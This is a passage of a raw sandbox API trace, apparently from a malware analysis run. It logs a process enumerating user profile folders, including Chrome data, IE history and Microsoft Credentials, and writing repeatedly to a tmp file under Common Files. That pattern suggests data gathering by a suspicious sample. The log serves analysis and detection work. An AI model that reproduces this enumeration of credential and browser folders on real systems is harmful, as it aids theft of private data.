hFile=0x198, lpBuffer=0x18970c*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x1896ec, lpOverlapped=0x0 | out: lpBuffer=0x18970c*, lpNumberOfBytesWritten=0x1896ec*=0x10c, lpOverlapped=0x0) returned 1 [0126.687] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\WidevineCdm\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x8, ftCreationTime.dwLowDateTime=0xe, ftCreationTime.dwHighDateTime=0x88, ftLastAccessTime.dwLowDateTime=0x7d0228, ftLastAccessTime.dwHighDateTime=0x14, ftLastWriteTime.dwLowDateTime=0x6000, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x598b, nFileSizeLow=0x0, dwReserved0=0x1, dwReserved1=0x0, cFileName="", cAlternateFileName="È\x80\x83")) returned 0xffffffff [0126.687] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0126.688] GetLastError () returned 0x12 [0126.688] FindClose (in: hFindFile=0x7d1830 | out: hFindFile=0x7d1830) returned 1 [0126.688] GetLastError () returned 0x12 [0126.688] AreFileApisANSI () returned 1 [0126.688] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0126.688] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0126.688] GetFileType (hFile=0x190) returned 0x1 [0126.688] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18b138 | out: lpNewFilePointer=0x0) returned 1 [0126.688] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18b184 | out: lpNewFilePointer=0x0) returned 1 [0126.688] WriteFile (in: hFile=0x190, lpBuffer=0x189dc4*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x189da4, lpOverlapped=0x0 | out: lpBuffer=0x189dc4*, lpNumberOfBytesWritten=0x189da4*=0xfc, lpOverlapped=0x0) returned 1 [0126.689] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\CrashReports\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b0b7d20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6b0b7d20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6b0b7d20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1830 [0126.689] FindClose (in: hFindFile=0x7d1830 | out: hFindFile=0x7d1830) returned 1 [0126.689] GetLastError () returned 0x12 [0126.689] FindClose (in: hFindFile=0x7d17f0 | out: hFindFile=0x7d17f0) returned 1 [0126.689] GetLastError () returned 0x12 [0126.689] AreFileApisANSI () returned 1 [0126.689] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0126.689] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b438, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0126.689] GetFileType (hFile=0x18c) returned 0x1 [0126.689] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18b498 | out: lpNewFilePointer=0x0) returned 1 [0126.690] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18b4e4 | out: lpNewFilePointer=0x0) returned 1 [0126.690] WriteFile (in: hFile=0x18c, lpBuffer=0x18a124*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x18a104, lpOverlapped=0x0 | out: lpBuffer=0x18a124*, lpNumberOfBytesWritten=0x18a104*=0xf0, lpOverlapped=0x0) returned 1 [0126.690] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\*.*", lpFindFileData=0x18b46c | out: lpFindFileData=0x18b46c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ea2560, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe75c620, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10, dwReserved1=0x837740, cFileName=".", cAlternateFileName="")) returned 0x7d17f0 [0126.690] AreFileApisANSI () returned 1 [0126.690] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0126.690] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0126.690] GetFileType (hFile=0x190) returned 0x1 [0126.691] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18b138 | out: lpNewFilePointer=0x0) returned 1 [0126.691] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\History.IE5\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xa413c7b0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa413c7b0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1830 [0126.691] AreFileApisANSI () returned 1 [0126.691] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0126.691] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0126.691] GetFileType (hFile=0x194) returned 0x1 [0126.691] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\History.IE5\\MSHist012020010820200109\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x18adec, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x14, ftLastWriteTime.dwHighDateTime=0x6000, nFileSizeHigh=0x0, nFileSizeLow=0x5d7f, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0126.691] FindClose (in: hFindFile=0x7d1830 | out: hFindFile=0x7d1830) returned 1 [0126.691] GetLastError () returned 0x12 [0126.691] AreFileApisANSI () returned 1 [0126.691] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0126.692] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0126.692] GetFileType (hFile=0x190) returned 0x1 [0126.692] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\Low\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x4f090c50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x4f090c50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1830 [0126.739] AreFileApisANSI () returned 1 [0126.739] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0126.739] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0126.739] GetFileType (hFile=0x194) returned 0x1 [0126.740] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\Low\\History.IE5\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x4f090c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x45c34df0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x45c34df0, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x36, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0126.787] AreFileApisANSI () returned 1 [0126.787] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0126.787] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0126.787] GetFileType (hFile=0x198) returned 0x1 [0126.787] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\Low\\History.IE5\\MSHist012017071220170713\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x8, ftCreationTime.dwLowDateTime=0xe, ftCreationTime.dwHighDateTime=0x88, ftLastAccessTime.dwLowDateTime=0x7d0228, ftLastAccessTime.dwHighDateTime=0x14, ftLastWriteTime.dwLowDateTime=0x7000, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x6088, nFileSizeLow=0x0, dwReserved0=0x1, dwReserved1=0x0, cFileName="", cAlternateFileName="È\x80\x83")) returned 0xffffffff [0126.787] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0126.787] GetLastError () returned 0x12 [0126.787] FindClose (in: hFindFile=0x7d1830 | out: hFindFile=0x7d1830) returned 1 [0126.787] GetLastError () returned 0x12 [0126.787] FindClose (in: hFindFile=0x7d17f0 | out: hFindFile=0x7d17f0) returned 1 [0126.787] GetLastError () returned 0x12 [0126.788] AreFileApisANSI () returned 1 [0126.788] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0126.788] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b438, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0126.788] GetFileType (hFile=0x18c) returned 0x1 [0126.788] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\*.*", lpFindFileData=0x18b46c | out: lpFindFileData=0x18b46c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x962f4540, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x962f4540, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17f0 [0126.788] AreFileApisANSI () returned 1 [0126.788] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0126.788] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0126.788] GetFileType (hFile=0x190) returned 0x1 [0126.788] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Credentials\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xea43994d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x33, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1830 [0126.789] FindClose (in: hFindFile=0x7d1830 | out: hFindFile=0x7d1830) returned 1 [0126.789] GetLastError () returned 0x12 [0126.789] AreFileApisANSI () returned 1 [0126.789] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0126.789] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0126.789] GetFileType (hFile=0x190) returned 0x1 [0126.789] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Event Viewer\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x32121370, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x32121370, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x32121370, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x33, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1830 [0126.834] FindClose (in: hFindFile=0x7d1830 | out: hFindFile=0x7d1830) returned 1 [0126.834] GetLastError () returned 0x12 [0126.834] AreFileApisANSI () returned 1 [0126.834] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0126.834] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0126.834] GetFileType (hFile=0x190) returned 0x1 [0126.835] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xff0498b1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1830 [0126.929] AreFileApisANSI () returned 1 [0126.929] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0126.929] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0126.929] GetFileType (hFile=0x194) returned 0x1 [0126.929] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\Microsoft Feeds~\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x18adec, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x14, ftLastWriteTime.dwHighDateTime=0x7000, nFileSizeHigh=0x0, nFileSizeLow=0x6588, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0126.929] AreFileApisANSI () returned 1 [0126.929] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0126.929] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0126.929] GetFileType (hFile=0x194) returned 0x1 [0126.929] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x18adec, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x14, ftLastWriteTime.dwHighDateTime=0x7000, nFileSizeHigh=0x0, nFileSizeLow=0x6691, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0126.929] FindClose (in: hFindFile=0x7d1830 | out: hFindFile=0x7d1830) returned 1 [0126.930] GetLastError () returned 0x12 [0126.930] AreFileApisANSI () returned 1 [0126.930] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0126.930] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0126.930] GetFileType (hFile=0x190) returned 0x1 [0126.930] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f3aae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfea09ee5, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x33, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1830 [0127.020] AreFileApisANSI () returned 1 [0127.020] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0127.020] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0127.020] GetFileType (hFile=0x194) returned 0x1 [0127.021] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\1NBUR4HR\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x18adec, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x7000, nFileSizeHigh=0x0, nFileSizeLow=0x68af, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0127.021] AreFileApisANSI () returned 1 [0127.021] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0127.021] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0127.021] GetFileType (hFile=0x194) returned 0x1 [0127.021] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\6ASVN7J7\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x18adec, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x7000, nFileSizeHigh=0x0, nFileSizeLow=0x69b6, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0127.021] AreFileApisANSI () returned 1 [0127.021] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0127.021] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0127.021] GetFileType (hFile=0x194) returned 0x1 [0127.021] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\D68G7BIJ\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x18adec, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x7000, nFileSizeHigh=0x0, nFileSizeLow=0x6abd, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0127.021] AreFileApisANSI () returned 1 [0127.021] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0127.021] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 